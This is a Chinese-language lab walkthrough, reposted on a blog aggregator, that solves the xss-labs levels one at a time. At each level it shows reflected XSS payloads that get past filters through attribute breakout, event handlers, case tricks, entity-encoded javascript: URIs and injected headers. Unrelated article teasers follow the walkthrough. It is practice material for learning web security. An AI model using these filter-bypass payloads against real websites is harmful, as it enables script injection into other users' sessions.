web-xss

news2025/4/6 10:52:41

HTML的&lt; &gt;&amp;&quot;&copy;分别是<,>,&,",©;的转义字符

XML只有5个转义符: &lt; &gt;&amp; &quot; &apos;

HTTP请求中,Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

referer

例如,在www.google.com 里有一个www.baidu.com 链接,那么点击这个www.baidu.com ,它的header 信息里就有: Referer=http://www.google.com.

如果服务器要求必须是某个地址或者某几个地址才能访问,而你发送的referer不符合他的要求,就会拦截或者跳转到他要求的地址,然后再通过这个地址进行访问。

第一关

payload:

xss-labs-master/level1.php?name=<script>alert(1)</script>

第二关

先用<script>alert(1)</script>进行尝试查看页面源码:可以看到script标签被包裹在input标签里面。script标签不能被嵌套在标签里面,否则触发不了。

<input name=keyword  value="<script>alert</script>">

payload:

xss-labs-master/level2.php?keyword="><script>alert(1)</script>

第三关

用"><script>alert(1)</script>尝试,查看源码:看到script标签直接被转译掉了

页面源码:
<input name=keyword  value='&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;'>

payload

<input name=keyword  value=''onclick='alert(1)''>
#这里的话onclick后面要用单引号,用双引号的话会被转译掉

第四关

用<script>alert(1)</script>进行尝试,查看页面源码:可以看到script的破折号被删除掉了

<input name=keyword  value="scriptalert/script">

payload:

<input name="keyword" value="" onclick="alert(1)">

第五关

用<script>alert(1)</script>进行尝试,查看页面源码:可以看到在script中间加了下横线

<input name=keyword  value="<scr_ipt>alert</script>">

用onclick尝试,发现也被过滤掉

<input name=keyword  value="" o_nclick="alert(1)"">

构造a标签,跳转超链接进行尝试

payload:

input name=keyword  value=""><a href="javascript:alert(1)">点我惊喜</a>">

第六关

用<script>alert(1)</script>进行尝试,查看页面源码:可以看到在script中间加了下横线

<input name=keyword  value="<scr_ipt>alert</script>">

用onclick尝试,发现也被过滤掉

<input name=keyword  value="" o_nclick="alert(1)"">

用大小写尝试的时候发现没有过滤

payload:

<input name=keyword  value=""><SCRIPT>alert(1)</script>">

第七关

用<script>alert(1)</script>进行尝试,查看页面源码:script直接被删除掉了

<input name=keyword  value="<>alert</>">

用onclick进行尝试,发现on被过滤掉,双写on进行绕过

payload

" oonnclick="alert(1)"

第八关

用<script>alert(1)</script>进行尝试,查看页面源码:可以看到script标签被转译掉了,还有<>也被过滤掉了

<input name=keyword  value="&lt;script&gt;alert&lt;/script&gt;">

用onclick进行尝试可以看到onclick也被转译掉了

<input name=keyword  value="&quot; οnclick=&quot;alert(1)&quot;">

但是此时也可以看到我们的代码时写在超链接里面的

 尝试直接在超链接构造js函数,但是可以看到js也直接被过滤掉了

</center><center><BR><a href="javascr_ipt:alert(1)">友情链接</a></center><center><img src=level8.jpg></center>

对javascript:alert(1)进行unicode编码

网址:http://www.jsons.cn/unicode/

payload:

&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0029;

第九关

用<script>alert(1)</script>进行尝试,查看页面源码:可以看到script标签被转译掉了,还有<>也被过滤掉了,双引号也被过滤掉了,用onclick肯定是不行的

<input name=keyword  value="&lt;script&gt;alert&lt;/script&gt;">

 试了好几种注入姿势,都提示链接不合法,换一个百度合法地址试一试

换成合法链接进行尝试,发现超链接显示正常网址,尝试拼接js代码:javascript:alert(1);http://www.baidu.com

 在这里又发现js又被过滤掉,再次编码进行尝试

</center><center><BR><a href="javascr_ipt:alert(1)//http://www.baidu.com">友情链接</a>

payload

&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0029;//http://www.baidu.com
#加上//注释掉后面的正常网址,不然会报错

第十关

用<script>alert(1)</script>进行尝试:过滤掉<>

<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>

用οnclick="alert(1)"尝试:过滤掉""。单引号可以用

<h2 align=center>没有找到和οnclick=&quot;alert(1)&quot;相关的结果.</h2><center>

查看页面源代码的时候看见还有3个隐藏的标签,尝试将其改成文本框,只有t_sort可以成功

?keyword=&t_sort=" type='text'

 payload

?keyword=&t_sort=" type='text' onclick='alert(1)'

第十一关

跟第十关一样的判断,发现过滤掉:<> ""

 跟上一关一样有隐藏值,发现就只有t_sort可以更改成功,但是并没有和第十关一样有一个输入框

?keyword=t_link='' type='text'&t_sort='' type='text'&t_histoty='' type='text'&t_ref='' type='text'

 

 我们在判断的时候发现t_ref改变了,判断他是referer

 bp抓包增加一行referer

 payload

referer:" type='text' onclick='javascript:alert(1)'

第12关

查看源码:和上一关一样,这次的以看就是ua

 

 第13关

推测是cookie,带入之前的payload

 

第14关

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/792886.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【防火墙】iptables防火墙(二)

1.写在命令行的备份和还原 2.把我们的规则配置在服务的文件当中&#xff0c;形成永久生效 iptables-save > /opt/ky30.bak iptables-restore < /opt/ky30.bak cat /etc/sysconfig/iptables 永久生效的配置文件 自定义链&#xff1a; 1.创建自定义链&#xff1a; i…

【数据结构】---时间复杂度与空间复杂度

时间复杂度与空间复杂度 1.&#x1f4c9; 时间复杂度&#x1f4cc;1.1 时间复杂度的概念1.2 大O的渐进表示法 &#x1f3f0;空间复杂度&#x1f4c3;例题分析1.案例&#xff08;常数阶&#xff09;2.案例&#xff08;线性阶&#xff09;3.案例&#xff1a;&#xff08;平方阶&a…

香港中文大学多媒体实验室——人工智能与计算机视觉的创新引擎

原创 | 文 BFT机器人 01 引言 香港中文大学多媒体实验室&#xff08;MultimediaLaboratory&#xff09;成立于2001年7月&#xff0c;是香港中文大学信息工程学系的重要组成部分。该实验室由汤晓鸥教授执导&#xff0c;是最早应用深度学习进行计算机视觉研究的华人团队之一。因…

Latex | 将MATLAB图并导入Latex中的方法

一、问题描述 用Latex时写paper时&#xff0c;要导入MATLAB生成的图进去 二、解决思路 &#xff08;1&#xff09;在MATLAB生成图片的窗口中&#xff0c;导出.eps矢量图 &#xff08;2&#xff09;把图上传到overleaf的目录 &#xff08;3&#xff09;在文中添加相应代码 三…

麒麟v10-coredns 启动失败

现象 在麒麟ARM芯片的机器上搭建k8s&#xff0c;其中的的一个组件cordons 发现启动失败&#xff0c;查看日志如下所示&#xff1a;No such device or address 问题分析 期初猜测kubelet与containerd的cgroupDriver驱动不一致导致。分别查看是一致的。没有问题。发现系统存在…

阿里云NVIDIA A100 GPU云服务器性能详解及租用费用

阿里云GPU服务器租用费用表包括包年包月、一个小时收费以及学生GPU服务器租用费用&#xff0c;阿里云GPU计算卡包括NVIDIA V100计算卡、T4计算卡、A10计算卡和A100计算卡&#xff0c;GPU云服务器gn6i可享受3折&#xff0c;阿里云百科分享阿里云GPU服务器租用表、GPU一个小时多少…

javafx拖拽图片实现

效果 代码 package cn.juhe.zjsb.test;import javafx.application.Application; import javafx.scene.Scene; import javafx.scene.image.Image; import javafx.scene.image.ImageView; import javafx.scene.layout.AnchorPane; import javafx.scene.layout.HBox; import javaf…

jmeter接口自动化测试工具在企业开展实际的操作

在企业使用jmeter开展实际的接口自动化测试工具&#xff0c;建议按如下操作流程&#xff0c; 可以使整个接口测试过程更规范&#xff0c;更有效。 接口自动化的流程&#xff1a; 1、获取到接口文档&#xff1a;swagger、word、excel ... 2、熟悉接口文档然后设计测试用例&am…

SAFe工具,SAFe规模化敏捷工具,SAFe实施流程,SAFe框架管理工具

​Leangoo领歌敏捷工具覆盖了敏捷项目研发全流程&#xff0c;包括小型团队敏捷开发&#xff0c;Scrum of Scrums大规模敏捷。 随着SAFe的越来越普及&#xff0c;Leangoo本次上线提供了完整的SAFe框架功能&#xff0c;包括&#xff1a;Program Backlog&#xff0c;PI规划&#…

Linux相关指令(上)

常见指令&#xff1a; 1 pwd&#xff1a;查看用户当前所在目录 以下面的路径为例&#xff1a; 2 ls&#xff1a;对于目录&#xff0c;该命令列出该目录下的所有子目录与文件。 对于文件&#xff0c;将列出文件名以及其他信息 ls-l&#xff08;or ll&#xff09;&#xff1a;列…

插槽slot复习

1.认识插槽 ◼ 在开发中&#xff0c;我们会经常封装一个个可复用的组件&#xff1a;  前面我们会通过props传递给组件一些数据&#xff0c;让组件来进行展示&#xff1b;  但是为了让这个组件具备更强的通用性&#xff0c;我们不能将组件中的内容限制为固定的div、span等等…

学生公寓报修管理系统的设计与实现(论文+源码)_kaic

摘 要 随着科技的发展&#xff0c;信息化的管理手段早以在人们生活的各个方面取代了传统的管理手段&#xff0c;以先进管理理念为基础的现代化信息管理系统已经成为了许多机构的必备工具。在如今大学的校园里&#xff0c;有着许许多多的信息化管理系统&#xff0c;如图书管理系…

面试官:Redis 为什么变慢了?怎么解决?

一、Redis为什么变慢了 二、Redis如何优化 三、Redis变慢了排查步骤 一、Redis为什么变慢了 1.Redis真的变慢了吗&#xff1f; 对 Redis 进行基准性能测试 例如&#xff0c;我的机器配置比较低&#xff0c;当延迟为 2ms 时&#xff0c;我就认为 Redis 变慢了&#xff0c;…

Qt : day2

1. #include "widget.h"Widget::Widget(QWidget *parent): QWidget(parent) {qDebug() << this->size(); //获取当前页面尺寸this->setFixedSize(500, 600); //设置固定尺寸this->setWindowTitle("聊天框"); //设置窗口标题thi…

快速批量处理,高效添加水印的软件推荐

辛迪&#xff1a;嘿&#xff0c;你听说过加水印技术吗&#xff1f; 杰克&#xff1a;当然啦&#xff01;那是一种在图像或视频上添加标识的技术&#xff0c;对吧&#xff1f; 辛迪&#xff1a;没错&#xff01;加水印技术可以在作品上添加标识、文字、图像等&#xff0c;以保…

Python实现HBA混合蝙蝠智能算法优化XGBoost回归模型(XGBRegressor算法)项目实战

说明&#xff1a;这是一个机器学习实战项目&#xff08;附带数据代码文档视频讲解&#xff09;&#xff0c;如需数据代码文档视频讲解可以直接到文章最后获取。 1.项目背景 蝙蝠算法是2010年杨教授基于群体智能提出的启发式搜索算法&#xff0c;是一种搜索全局最优解的有效方法…

【计算机】磁盘基础知识

一、背景前言 今年2023年&#xff0c;已经是机械硬盘诞生的第67个年头了。作为存储数据的硬件设备&#xff0c;它的发展可谓历经了很多人的努力&#xff0c;在这个过程中也发现很多有意思的事情。通常在生活中&#xff0c;不太懂计算机的朋友们常把内存与硬盘的概念混淆&#…

怎么把图片压缩小一点?三招教会你压缩图片

在现如今的互联网时代&#xff0c;图片是我们日常生活中不可或缺的一部分&#xff0c;无论是在社交媒体上分享照片&#xff0c;还是在网站上发布图片&#xff0c;我们都希望图片能够加载得更快&#xff0c;占用更少的存储空间。因此&#xff0c;将图片压缩变得尤为重要&#xf…

C# 用队列实现栈

225 用队列实现栈 请你仅使用两个队列实现一个后入先出&#xff08;LIFO&#xff09;的栈&#xff0c;并支持普通栈的全部四种操作&#xff08;push、top、pop 和 empty&#xff09;。 实现 MyStack 类&#xff1a; void push(int x) 将元素 x 压入栈顶。 int pop() 移除并返…

Java训练四

目录 一、简易计算器 二、购买电影票 三、计算平均分 四、厘米与英寸互转 一、简易计算器 使用静态方法模拟一个只能进行两个数加、减、乘、除的建议计算器。 package haha; import java.util.Scanner; public class Dog{ public static double jia(double a,double b)…